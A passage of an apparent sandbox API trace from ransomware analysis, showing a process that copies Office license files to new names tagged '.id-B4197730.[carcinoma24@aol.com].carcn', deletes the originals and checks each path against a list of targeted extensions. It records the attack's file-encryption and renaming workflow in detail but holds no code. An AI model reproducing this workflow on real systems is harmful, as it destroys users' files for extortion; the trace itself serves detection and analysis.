(hObject=0x554) returned 1 [0281.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 0x220 [0281.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0281.999] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.999] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0282.000] GetLastError () returned 0x0 [0282.000] ReadFile (in: hFile=0x554, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x2d4a, lpOverlapped=0x0) returned 1 [0282.056] WriteFile (in: hFile=0x4ac, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0282.057] ReadFile (in: hFile=0x554, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.057] WriteFile (in: hFile=0x4ac, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x10a, lpOverlapped=0x0) returned 1 [0282.057] SetEndOfFile (hFile=0x4ac) returned 1 [0282.057] CloseHandle (hObject=0x4ac) returned 1 [0282.058] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.058] SetEndOfFile (hFile=0x554) returned 1 [0282.062] CloseHandle (hObject=0x554) returned 1 [0282.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0282.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 1 [0282.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0282.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0282.063] lstrlenW (lpString=".doc") returned 4 [0282.063] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0282.063] lstrlenW (lpString=".docx") returned 5 [0282.063] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0282.063] lstrlenW (lpString=".pdf") returned 4 [0282.063] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0282.064] lstrlenW (lpString=".xls") returned 4 [0282.064] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0282.064] lstrlenW (lpString=".xlsx") returned 5 [0282.064] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0282.064] lstrlenW (lpString=".ppt") returned 4 [0282.064] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0282.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0282.064] lstrlenW (lpString=".zip") returned 4 [0282.064] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0282.064] lstrlenW (lpString=".rar") returned 4 [0282.064] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0282.064] lstrlenW (lpString=".bz2") returned 4 [0282.064] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0282.064] lstrlenW (lpString=".7z") returned 3 [0282.064] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0282.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0282.064] lstrlenW (lpString=".dbf") returned 4 [0282.064] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0282.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0282.064] lstrlenW (lpString=".1cd") returned 4 [0282.064] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0282.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0282.064] lstrlenW (lpString=".jpg") returned 4 [0282.065] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0282.065] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=10639) returned 1 [0282.065] CloseHandle (hObject=0x554) returned 1 [0282.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 0x220 [0282.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0282.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0282.066] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.066] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0282.067] GetLastError () returned 0x0 [0282.067] ReadFile (in: hFile=0x554, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x298f, lpOverlapped=0x0) returned 1 [0282.083] WriteFile (in: hFile=0x4ac, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2990, lpOverlapped=0x0) returned 1 [0282.085] ReadFile (in: hFile=0x554, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.085] WriteFile (in: hFile=0x4ac, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x108, lpOverlapped=0x0) returned 1 [0282.085] SetEndOfFile (hFile=0x4ac) returned 1 [0282.085] CloseHandle (hObject=0x4ac) returned 1 [0282.085] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.085] SetEndOfFile (hFile=0x554) returned 1 [0282.089] CloseHandle (hObject=0x554) returned 1 [0282.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0282.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 1 [0282.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0282.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0282.090] lstrlenW (lpString=".doc") returned 4 [0282.090] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0282.090] lstrlenW (lpString=".docx") returned 5 [0282.090] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0282.091] lstrlenW (lpString=".pdf") returned 4 [0282.091] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0282.091] lstrlenW (lpString=".xls") returned 4 [0282.091] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0282.091] lstrlenW (lpString=".xlsx") returned 5 [0282.091] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0282.091] lstrlenW (lpString=".ppt") returned 4 [0282.091] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0282.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0282.091] lstrlenW (lpString=".zip") returned 4 [0282.091] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0282.091] lstrlenW (lpString=".rar") returned 4 [0282.091] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0282.091] lstrlenW (lpString=".bz2") returned 4 [0282.091] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0282.091] lstrlenW (lpString=".7z") returned 3 [0282.091] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0282.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0282.091] lstrlenW (lpString=".dbf") returned 4 [0282.091] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0282.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0282.091] lstrlenW (lpString=".1cd") returned 4 [0282.092] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0282.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0282.092] lstrlenW (lpString=".jpg") returned 4 [0282.092] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0282.099] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=20780) returned 1 [0282.099] CloseHandle (hObject=0x554) returned 1 [0282.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0282.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0282.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0282.101] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.101] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0282.102] GetLastError () returned 0x0 [0282.102] ReadFile (in: hFile=0x554, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x512c, lpOverlapped=0x0) returned 1 [0282.115] WriteFile (in: hFile=0x4ac, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x5130, lpOverlapped=0x0) returned 1 [0282.117] ReadFile (in: hFile=0x554, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.117] WriteFile (in: hFile=0x4ac, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x10a, lpOverlapped=0x0) returned 1 [0282.117] SetEndOfFile (hFile=0x4ac) returned 1 [0282.118] CloseHandle (hObject=0x4ac) returned 1 [0282.118] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.118] SetEndOfFile (hFile=0x554) returned 1 [0282.121] CloseHandle (hObject=0x554) returned 1 [0282.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0282.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 1 [0282.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0282.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0282.123] lstrlenW (lpString=".doc") returned 4 [0282.123] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0282.123] lstrlenW (lpString=".docx") returned 5 [0282.123] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0282.123] lstrlenW (lpString=".pdf") returned 4 [0282.123] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0282.123] lstrlenW (lpString=".xls") returned 4 [0282.124] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0282.124] lstrlenW (lpString=".xlsx") returned 5 [0282.124] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0282.124] lstrlenW (lpString=".ppt") returned 4 [0282.124] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0282.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0282.124] lstrlenW (lpString=".zip") returned 4 [0282.124] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0282.124] lstrlenW (lpString=".rar") returned 4 [0282.124] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0282.124] lstrlenW (lpString=".bz2") returned 4 [0282.124] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0282.124] lstrlenW (lpString=".7z") returned 3 [0282.124] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0282.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0282.124] lstrlenW (lpString=".dbf") returned 4 [0282.124] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0282.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0282.124] lstrlenW (lpString=".1cd") returned 4 [0282.684] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0282.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0282.684] lstrlenW (lpString=".jpg") returned 4 [0282.684] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0283.759] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=11587) returned 1 [0283.759] CloseHandle (hObject=0x438) returned 1 [0283.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0283.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0283.760] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.760] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0283.761] GetLastError () returned 0x0 [0283.761] ReadFile (in: hFile=0x438, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x2d43, lpOverlapped=0x0) returned 1 [0283.763] WriteFile (in: hFile=0x38c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0283.764] ReadFile (in: hFile=0x438, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.764] WriteFile (in: hFile=0x38c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x110, lpOverlapped=0x0) returned 1 [0283.764] SetEndOfFile (hFile=0x38c) returned 1 [0283.764] CloseHandle (hObject=0x38c) returned 1 [0283.765] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.765] SetEndOfFile (hFile=0x438) returned 1 [0283.768] CloseHandle (hObject=0x438) returned 1 [0283.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 1 [0283.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0283.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0283.770] lstrlenW (lpString=".doc") returned 4 [0283.770] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0283.770] lstrlenW (lpString=".docx") returned 5 [0283.770] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0283.770] lstrlenW (lpString=".pdf") returned 4 [0283.770] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0283.770] lstrlenW (lpString=".xls") returned 4 [0283.770] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0283.770] lstrlenW (lpString=".xlsx") returned 5 [0283.770] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0283.770] lstrlenW (lpString=".ppt") returned 4 [0283.770] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0283.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0283.771] lstrlenW (lpString=".zip") returned 4 [0283.771] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0283.771] lstrlenW (lpString=".rar") returned 4 [0283.771] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0283.771] lstrlenW (lpString=".bz2") returned 4 [0283.771] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0283.771] lstrlenW (lpString=".7z") returned 3 [0283.771] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0283.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0283.771] lstrlenW (lpString=".dbf") returned 4 [0283.771] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0283.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0283.771] lstrlenW (lpString=".1cd") returned 4 [0283.771] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0283.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0283.771] lstrlenW (lpString=".jpg") returned 4 [0283.771] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0283.773] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=11143) returned 1 [0283.773] CloseHandle (hObject=0x438) returned 1 [0283.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 0x220 [0283.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0283.775] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.775] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0283.776] GetLastError () returned 0x0 [0283.776] ReadFile (in: hFile=0x438, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x2b87, 